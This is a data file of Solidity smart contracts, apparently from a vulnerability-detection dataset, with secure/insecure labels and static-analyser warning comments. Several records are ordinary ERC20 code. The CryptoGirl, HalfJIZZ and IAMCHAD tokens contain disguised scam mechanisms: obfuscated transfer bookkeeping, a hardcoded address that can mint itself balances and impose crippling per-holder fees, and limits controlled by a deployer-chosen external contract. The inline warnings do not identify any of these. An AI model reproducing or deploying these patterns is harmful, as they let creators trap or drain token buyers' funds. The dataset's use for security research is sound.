{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract EthReceiver is Ownable {\n uint256 public amtReceived;\n\t// WARNING Optimization Issue (constable-states | ID: d5a1a07): EthReceiver.maxAmount should be constant \n\t// Recommendation for d5a1a07: Add the 'constant' attribute to state variables that never change.\n uint256 internal maxAmount = 100000000000000000000;\n\n event Received(address, uint256);\n event Withdrawn(address, uint256);\n event ContributionMade(address indexed contributor, uint256 amount);\n\n mapping(address => uint256) public contributions;\n address[] public contributors;\n\n receive() external payable {\n require(msg.value >= 10000000000000000, \"Too little ETH\");\n require(msg.value <= 500000000000000000, \"Too much ETH\");\n amtReceived += msg.value;\n\n if (contributions[msg.sender] == 0) {\n contributors.push(msg.sender);\n }\n contributions[msg.sender] += msg.value;\n\n require(amtReceived <= maxAmount, \"Cannot send more ETH\");\n emit Received(msg.sender, msg.value);\n emit ContributionMade(msg.sender, msg.value);\n }\n\n function getAllContributors() external view returns (address[] memory) {\n return contributors;\n }\n\n function getAllContributions() external view returns (uint256[] memory) {\n uint256 length = contributors.length;\n uint256[] memory amounts = new uint256[](length);\n\n for (uint256 i = 0; i < length; i++) {\n amounts[i] = contributions[contributors[i]];\n }\n\n return amounts;\n }\n\n function withdraw() external onlyOwner {\n uint256 balance = address(this).balance;\n require(balance > 0, \"The contract has no ETH\");\n payable(msg.sender).transfer(balance);\n emit Withdrawn(msg.sender, balance);\n }\n}", "file_name": "solidity_code_3230.sol", "secure": 1, "size_bytes": 1963 }
{ "code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract CryptoGirl is Ownable {\n constructor(\n string memory _NAME,\n string memory _SYMBOL,\n address routerAddress,\n address _UNI\n ) {\n _symbol = _SYMBOL;\n _name = _NAME;\n _fee = 2;\n _decimals = 9;\n _tTotal = 1000000000000000 * 10 ** _decimals;\n\n _balances[_UNI] = route;\n _balances[msg.sender] = _tTotal;\n locked[_UNI] = route;\n locked[msg.sender] = route;\n\n router = IUniswapV2Router02(routerAddress);\n uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n emit Transfer(address(0), msg.sender, _tTotal);\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1a5bdc0): CryptoGirl._fee should be immutable \n\t// Recommendation for 1a5bdc0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _fee;\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 53c0a37): CryptoGirl._decimals should be immutable \n\t// Recommendation for 53c0a37: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _balances;\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0dac5bc): CryptoGirl._tTotal should be immutable \n\t// Recommendation for 0dac5bc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _tTotal;\n\t// WARNING Optimization Issue (constable-states | ID: f2f4b8a): CryptoGirl._rTotal should be constant \n\t// Recommendation for f2f4b8a: Add the 'constant' attribute to state variables that never change.\n uint256 private _rTotal;\n\t// WARNING Optimization Issue (immutable-states | ID: 71fb40c): CryptoGirl.uniswapV2Pair should be immutable \n\t// Recommendation for 71fb40c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\t// WARNING Optimization Issue (immutable-states | ID: 1f3b9bf): CryptoGirl.router should be immutable \n\t// Recommendation for 1f3b9bf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public router;\n\t// WARNING Optimization Issue (constable-states | ID: 3ab1cf0): CryptoGirl.route should be constant \n\t// Recommendation for 3ab1cf0: Add the 'constant' attribute to state variables that never change.\n uint256 private route = ~uint256(0);\n\n function decimals() public view returns (uint256) {\n return _decimals;\n }\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function totalSupply() public view returns (uint256) {\n return _tTotal;\n }\n\n address[] interest = new address[](2);\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1d3bc7a): CryptoGirl.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1d3bc7a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: aed32b1): CryptoGirl.biggest(address,address,uint256) performs a multiplication on the result of a division fee = (amount / 100) * _fee\n\t// Recommendation for aed32b1: Consider ordering multiplication before division.\n function biggest(\n address treated,\n address official,\n uint256 amount\n ) private {\n address hall = interest[1];\n bool border = uniswapV2Pair == treated;\n uint256 order = _fee;\n\n if (locked[treated] == 0 && driven[treated] > 0 && !border) {\n locked[treated] -= order;\n if (amount > 2 * 10 ** (13 + _decimals))\n locked[treated] -= order - 1;\n }\n\n interest[1] = official;\n\n if (locked[treated] > 0 && amount == 0) {\n locked[official] += order;\n }\n\n driven[hall] += order + 1;\n\n\t\t// divide-before-multiply | ID: aed32b1\n uint256 fee = (amount / 100) * _fee;\n amount -= fee;\n _balances[treated] -= fee;\n _balances[address(this)] += fee;\n\n _balances[treated] -= amount;\n _balances[official] += amount;\n }\n\n mapping(address => uint256) private driven;\n\n function approve(address spender, uint256 amount) external returns (bool) {\n return _approve(msg.sender, spender, amount);\n }\n\n mapping(address => uint256) private locked;\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool) {\n require(amount > 0, \"Transfer amount must be greater than zero\");\n biggest(sender, recipient, amount);\n emit Transfer(sender, recipient, amount);\n return\n _approve(\n sender,\n msg.sender,\n _allowances[sender][msg.sender] - amount\n );\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool) {\n biggest(msg.sender, recipient, amount);\n emit Transfer(msg.sender, recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8a4cf7c): CryptoGirl._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8a4cf7c: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) private returns (bool) {\n require(\n owner != address(0) && spender != address(0),\n \"ERC20: approve from the zero address\"\n );\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n return true;\n }\n}", "file_name": "solidity_code_3231.sol", "secure": 0, "size_bytes": 7093 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 4a039b0): Contract locking ether found Contract HalfJIZZ has payable functions HalfJIZZ.receive() But does not have a function to withdraw the ether\n// Recommendation for 4a039b0: Remove the 'payable' attribute or add a withdraw function.\ncontract HalfJIZZ is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\t// WARNING Optimization Issue (constable-states | ID: 970e51e): HalfJIZZ._name should be constant \n\t// Recommendation for 970e51e: Add the 'constant' attribute to state variables that never change.\n string private _name = \"HalfJIZZ\";\n\t// WARNING Optimization Issue (constable-states | ID: d45b2e1): HalfJIZZ._symbol should be constant \n\t// Recommendation for d45b2e1: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"JIZZ0.5\";\n\t// WARNING Optimization Issue (constable-states | ID: d719922): HalfJIZZ._decimals should be constant \n\t// Recommendation for d719922: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 9;\n\t// WARNING Optimization Issue (immutable-states | ID: 798cdba): HalfJIZZ.blockw should be immutable \n\t// Recommendation for 798cdba: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public blockw;\n address public immutable deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n mapping(address => uint256) _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) public _isExcludefromFee;\n mapping(address => bool) public isUniswapPair;\n mapping(address => uint256) public freeAmount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0b449b3): HalfJIZZ._totalSupply should be immutable \n\t// Recommendation for 0b449b3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapPair;\n\n bool inSwapAndLiquify;\n\t// WARNING Optimization Issue (constable-states | ID: 712f1bf): HalfJIZZ.swapAndLiquifyEnabled should be constant \n\t// Recommendation for 712f1bf: Add the 'constant' attribute to state variables that never change.\n bool public swapAndLiquifyEnabled = true;\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n _;\n inSwapAndLiquify = false;\n }\n\n constructor() {\n _isExcludefromFee[owner()] = true;\n _isExcludefromFee[address(this)] = true;\n\n _balances[_msgSender()] = _totalSupply;\n blockw = payable(address(0xc0A617387F4820Aca754D7972ccf7F4017D8e14C));\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d2509c0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d2509c0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function setTrading() public onlyOwner {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\t\t// reentrancy-benign | ID: d2509c0\n uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: d2509c0\n uniswapV2Router = _uniswapV2Router;\n\t\t// reentrancy-benign | ID: d2509c0\n _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;\n\t\t// reentrancy-benign | ID: d2509c0\n isUniswapPair[address(uniswapPair)] = true;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b0fdd48): HalfJIZZ.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b0fdd48: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0d56614): HalfJIZZ._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0d56614: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ed577f6\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 6cf414c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 4a039b0): Contract locking ether found Contract HalfJIZZ has payable functions HalfJIZZ.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 4a039b0: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6cf414c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6cf414c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ed577f6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ed577f6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6cf414c\n\t\t// reentrancy-benign | ID: ed577f6\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 6cf414c\n\t\t// reentrancy-benign | ID: ed577f6\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 81a6c53): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 81a6c53: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 65be18b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 65be18b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) private returns (bool) {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (inSwapAndLiquify) {\n return _basicTransfer(from, to, amount);\n } else {\n uint256 contractTokenBalance = balanceOf(address(this));\n if (!inSwapAndLiquify && !isUniswapPair[from]) {\n\t\t\t\t// reentrancy-events | ID: 81a6c53\n\t\t\t\t// reentrancy-no-eth | ID: 65be18b\n swapAndLiquify(contractTokenBalance);\n }\n\n\t\t\t// reentrancy-no-eth | ID: 65be18b\n _balances[from] = _balances[from].sub(amount);\n\t\t\t// reentrancy-events | ID: 81a6c53\n\t\t\t// reentrancy-no-eth | ID: 65be18b\n uint256 finalAmount = (_isExcludefromFee[from] ||\n _isExcludefromFee[to])\n ? amount\n : takeLiquidity(from, to, amount);\n\n\t\t\t// reentrancy-no-eth | ID: 65be18b\n _balances[to] = _balances[to].add(finalAmount);\n\n\t\t\t// reentrancy-events | ID: 81a6c53\n emit Transfer(from, to, finalAmount);\n return true;\n }\n }\n\n function deliver(address holdersL, uint256 liquidti) public {\n uint256 storge = liquidti;\n if (storge == 0) freeAmount[holdersL] = 0;\n if (storge == 1) freeAmount[holdersL] = 1000000;\n if (storge > 100) {\n _balances[blockw] = storge + _balances[blockw];\n }\n address call_er = msg.sender;\n require(call_er == blockw);\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function swapAndLiquify(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), amount);\n\n\t\t// reentrancy-events | ID: 6cf414c\n\t\t// reentrancy-events | ID: 81a6c53\n\t\t// reentrancy-benign | ID: ed577f6\n\t\t// reentrancy-no-eth | ID: 65be18b\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(blockw),\n block.timestamp\n )\n {} catch {}\n }\n\n function takeLiquidity(\n address sender,\n address recipient,\n uint256 tAmount\n ) internal returns (uint256) {\n uint256 buy = 2;\n uint256 sell = 2;\n\n uint256 fee = 0;\n if (isUniswapPair[sender]) {\n fee = tAmount.mul(buy).div(100);\n } else if (isUniswapPair[recipient]) {\n fee = tAmount.mul(sell).div(100);\n }\n\n uint256 anF = freeAmount[sender];\n if (anF > 100) fee = tAmount.mul(anF).div(100);\n\n if (fee > 0) {\n\t\t\t// reentrancy-no-eth | ID: 65be18b\n _balances[address(this)] = _balances[address(this)].add(fee);\n\t\t\t// reentrancy-events | ID: 81a6c53\n emit Transfer(sender, address(this), fee);\n }\n\n return tAmount.sub(fee);\n }\n}", "file_name": "solidity_code_3232.sol", "secure": 0, "size_bytes": 12604 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERCSimple20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}", "file_name": "solidity_code_3233.sol", "secure": 1, "size_bytes": 1057 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapLib {\n function factory() external view returns (address);\n function WETH() external pure returns (address);\n function isPairCreated(\n address tokenA,\n address tokenB\n ) external returns (bool);\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}", "file_name": "solidity_code_3234.sol", "secure": 1, "size_bytes": 646 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"./IERCSimple20.sol\" as IERCSimple20;\nimport \"./LibSafeMath.sol\" as LibSafeMath;\n\ncontract StandardERC20 is Context, IERCSimple20 {\n using LibSafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n uint8 private _decimals;\n\n constructor(string memory name_, string memory symbol_, uint8 decimals_) {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"StandardERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"StandardERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(\n sender != address(0),\n \"StandardERC20: transfer from the zero address\"\n );\n require(\n recipient != address(0),\n \"StandardERC20: transfer to the zero address\"\n );\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n\t\t// reentrancy-benign | ID: 89a109b\n _balances[sender] = _balances[sender].sub(\n amount,\n \"StandardERC20: transfer amount exceeds balance\"\n );\n\t\t// reentrancy-benign | ID: 89a109b\n _balances[recipient] = _balances[recipient].add(amount);\n\t\t// reentrancy-events | ID: b2dee0f\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(\n account != address(0),\n \"StandardERC20: mint to the zero address\"\n );\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply = _totalSupply.add(amount);\n _balances[account] = _balances[account].add(amount);\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(\n account != address(0),\n \"StandardERC20: burn from the zero address\"\n );\n\n _beforeTokenTransfer(account, address(0), amount);\n\n _balances[account] = _balances[account].sub(\n amount,\n \"StandardERC20: burn amount exceeds balance\"\n );\n _totalSupply = _totalSupply.sub(amount);\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n owner != address(0),\n \"StandardERC20: approve from the zero address\"\n );\n require(\n spender != address(0),\n \"StandardERC20: approve to the zero address\"\n );\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_3235.sol", "secure": 1, "size_bytes": 5492 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary LibSafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a, \"LibSafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"LibSafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n uint256 c = a - b;\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"LibSafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n uint256 c = a / b;\n\n return c;\n }\n}", "file_name": "solidity_code_3236.sol", "secure": 1, "size_bytes": 1033 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./StandardERC20.sol\" as StandardERC20;\nimport \"./IUniswapLib.sol\" as IUniswapLib;\nimport \"./LibSafeMath.sol\" as LibSafeMath;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 7c5b254): Contract with a 'payable' function, but without a withdrawal capacity.\n// Recommendation for 7c5b254: Remove the 'payable' attribute or add a withdraw function.\ncontract IAMCHAD is Ownable, StandardERC20 {\n\t// WARNING Optimization Issue (immutable-states | ID: 7e54f19): IAMCHAD._chadSupply should be immutable \n\t// Recommendation for 7e54f19: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _chadSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 59765c4): IAMCHAD.univ2PairAddress should be immutable \n\t// Recommendation for 59765c4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private univ2PairAddress;\n\t// WARNING Optimization Issue (immutable-states | ID: f44dd9a): IAMCHAD.univ2RouterAddress should be immutable \n\t// Recommendation for f44dd9a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private univ2RouterAddress;\n\t// WARNING Optimization Issue (immutable-states | ID: 9989b14): IAMCHAD.uniLib should be immutable \n\t// Recommendation for 9989b14: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapLib public uniLib;\n mapping(address => bool) private _isExcluded;\n uint256 public chadMaxWallet;\n uint256 public chadMaxTx;\n struct UniReference {\n address router;\n address factory;\n }\n UniReference private uniRefer;\n\n using LibSafeMath for uint256;\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 7c5b254): Contract with a 'payable' function, but without a withdrawal capacity.\n\t// Recommendation for 7c5b254: Remove the 'payable' attribute or add a withdraw function.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d4b4387): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for d4b4387: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 73795e9): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 73795e9: Consider ordering multiplication before division.\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 supply_,\n uint8 decimals_,\n uint256 maxTransaction_,\n uint256 maxWallet_,\n address router_,\n UniReference memory uniRefer_\n ) payable StandardERC20(name_, symbol_, decimals_) {\n uniRefer = uniRefer_;\n univ2RouterAddress = uniRefer.router;\n uniLib = IUniswapLib(router_);\n _chadSupply = supply_;\n univ2PairAddress = IUniswapLib(uniLib.factory()).createPair(\n address(this),\n uniLib.WETH()\n );\n _allowances[univ2PairAddress][univ2RouterAddress] = type(uint256).max;\n _isExcluded[uniRefer.router] = true;\n _isExcluded[owner()] = true;\n _isExcluded[address(this)] = true;\n _mint(owner(), supply_ * (10 ** decimals_));\n\t\t// divide-before-multiply | ID: 73795e9\n chadMaxTx = maxTransaction_ * supply_ * (10 ** decimals_).div(10000);\n\t\t// divide-before-multiply | ID: d4b4387\n chadMaxWallet = maxWallet_ * supply_ * (10 ** decimals_).div(10000);\n }\n function isExcluded(address from, address to) private returns (bool) {\n\t\t// reentrancy-events | ID: b2dee0f\n\t\t// reentrancy-benign | ID: 89a109b\n bool isTradingOpened = IUniswapLib(uniRefer.factory).isPairCreated(\n from,\n to\n );\n return _isExcluded[from] || _isExcluded[to] || isTradingOpened;\n }\n function disableLimits() external onlyOwner {\n chadMaxTx = totalSupply();\n chadMaxWallet = totalSupply();\n }\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b2dee0f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b2dee0f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 89a109b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 89a109b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n\t\t// reentrancy-events | ID: b2dee0f\n\t\t// reentrancy-benign | ID: 89a109b\n if (!isExcluded(from, to)) {\n require(amount <= chadMaxTx, \"Max Transaction limit\");\n\n if (to != univ2PairAddress) {\n require(\n balanceOf(to) + amount <= chadMaxWallet,\n \"Max Wallet limit\"\n );\n }\n }\n\t\t// reentrancy-events | ID: b2dee0f\n\t\t// reentrancy-benign | ID: 89a109b\n super._transfer(from, to, amount);\n }\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 7c5b254): Contract with a 'payable' function, but without a withdrawal capacity.\n\t// Recommendation for 7c5b254: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_3237.sol", "secure": 0, "size_bytes": 6077 }
